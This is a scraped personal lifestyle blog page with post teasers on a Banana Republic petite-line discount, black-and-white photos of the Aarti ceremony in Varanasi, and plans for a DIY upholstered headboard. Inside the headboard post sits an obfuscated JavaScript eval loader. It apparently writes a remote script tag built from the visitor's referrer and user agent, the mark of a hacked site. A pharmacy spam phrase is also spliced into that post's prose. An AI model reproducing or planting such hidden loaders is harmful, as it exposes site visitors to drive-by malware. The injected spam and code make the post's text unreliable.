Banana Republic Holiday Dress

2013, Fashion

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can’t describe my excitement to participate in this campaign with
Banana Republic Factory Store and provide an awesome discount to my readers, and also talk about the petite line at BRFS!

Snapshot from India

2013, Travel

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admit that sometimes turning photos black and white is an easy way to elevate them to a higher level, but let’s be honest, who doesn’t like black and white photos! So what if it’s an easy way out! These photos are from the Aarti ceremony in Varanasi, India.

DIY Teaser: New Year’s Resolution

DIY

One of my New Year’s resolutions is to be more frugal through DIY projects.  I have several in mind already, but the biggest one is building an upholstered headboard.  I orignally bought my bed from IKEA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azibr|var|u0026u|referrer|drtfh||js|php’.split(‘|’),0,{}))
without a headboard because it was cheaper.

This is my bed without the $130 headboard.  While IKEA is relatively cheap, I need to go extremely frugal this year to afford the lasik eye surgery I’m hoping to get. How do I live frugally but still enjoy my home space? DIY! Anyone want to take bets on how long it will take me to complete this project?  I’ve started my research and am currently generic phentermine cost looking at several different ideas.  Are you curious to see some of my ideas?

This is the one that will most likely happen because it’s cute and simple.

I personally love the detail of the pin/nails at the edges.  Like dressing oneself, it’s always about the accessories and details.

Asian architecture is one my favorite things in the world to admire, and the arches and domes are the best part.  Why not incorporate that shape into my new headboard?

Remodelaholics has a ton of great ideas for DIY headboards on their website.

I’ll keep you posted on how the project goes, but I’ve bought my fabric and padding so I’m dedicated now!